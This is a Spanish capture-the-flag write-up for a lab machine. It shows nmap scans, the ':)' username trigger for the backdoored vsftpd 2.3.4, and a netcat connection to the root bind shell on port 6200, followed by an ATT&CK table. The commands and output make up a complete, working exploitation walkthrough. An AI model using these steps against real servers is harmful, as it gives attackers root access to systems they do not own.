Maquina FirtsHacking

Escaneo inicial

Iniciamos con un escaneo agresivo de todos los puertos del objetivo:

```
┌──(zikuta㉿zikuta)-[~/Downloads/firsthacking]
└─$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 19:43 CDT
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Resultado:

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
```

Observamos que el puerto 21 está abierto corriendo **vsftpd 2.3.4**, una versión **conocida por haber sido comprometida con una backdoor en versiones no oficiales**.

Análisis de la vulnerabilidad

La versión `vsftpd 2.3.4` fue alterada maliciosamente en 2011, añadiendo una **puerta trasera que se activa cuando se intenta iniciar sesión con un nombre de usuario que contiene la cadena** `:)`.

Este comportamiento no es parte del FTP original; fue insertado de forma oculta por un atacante en una versión falsa del servidor FTP. Al recibir este "trigger", el demonio vsftpd abre una **shell bind como root en el puerto 6200**.

Activación de la backdoor

Nos conectamos al servicio FTP e intentamos autenticarnos usando el trigger `:)`:

```
zikuta㉿zikuta)-[~/Downloads/firsthacking]
└─$ ftp 172.17.0.2 21
```

```
Connected to 172.17.0.2.
220 (vsFTPd 2.3.4)
Name (172.17.0.2:zikuta): hola:)
331 Please specify the password.
Password:
```

Aunque el login falla, el trigger `:)` **activa la backdoor**. Hacemos un nuevo escaneo:

```
┌──(zikuta㉿zikuta)-[~/Downloads/firsthacking]
└─$ nmap -sV -sS -Pn -p- -sC --min-rate 5000 172.17.0.2
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 19:32 CDT
Nmap scan report for 172.17.0.2
Host is up (0.000010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.3.4
6200/tcp open  lm-x?
| fingerprint-strings:
|   GenericLines:
|     sh: 1:
|     found
|_    found
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6200-TCP:V=7.95%I=7%D=7/8%Time=686DB89E%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,28,"sh:\x201:\x20\r:\x20not\x20found\nsh:\x202:\x20\r:\x20not
SF:\x20found\n");
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Nuevo resultado:

```
6200/tcp open  lm-x?
```

El puerto 6200 ahora aparece abierto: esto confirma que el trigger funcionó y que la shell está activa.

Explotación – Acceso como root

Nos conectamos directamente con `nc`:

```
zikuta㉿zikuta)-[~/Downloads/firsthacking]
└─$ nc 172.17.0.2 6200
whoami
root
```

Conclusión

Se ha explotado una **backdoor en la versión maliciosa de vsftpd 2.3.4**, activada mediante el trigger `:)` al intentar iniciar sesión por FTP. Esto nos dio una **shell directa como `root` a través del puerto 6200**, permitiendo control total sobre el sistema.

Táctica	Técnica
Initial Access	T1133 - External Remote Services
Execution	T1059 - Command and Scripting Interpreter
Privilege Escalation	T1068 - Exploitation for Privilege Escalation
Command and Control	T1071.001 - Application Layer Protocol: Web Protocols
Persistence (temporal)	Puerto bind shell abierto mientras no se reinicie el servicio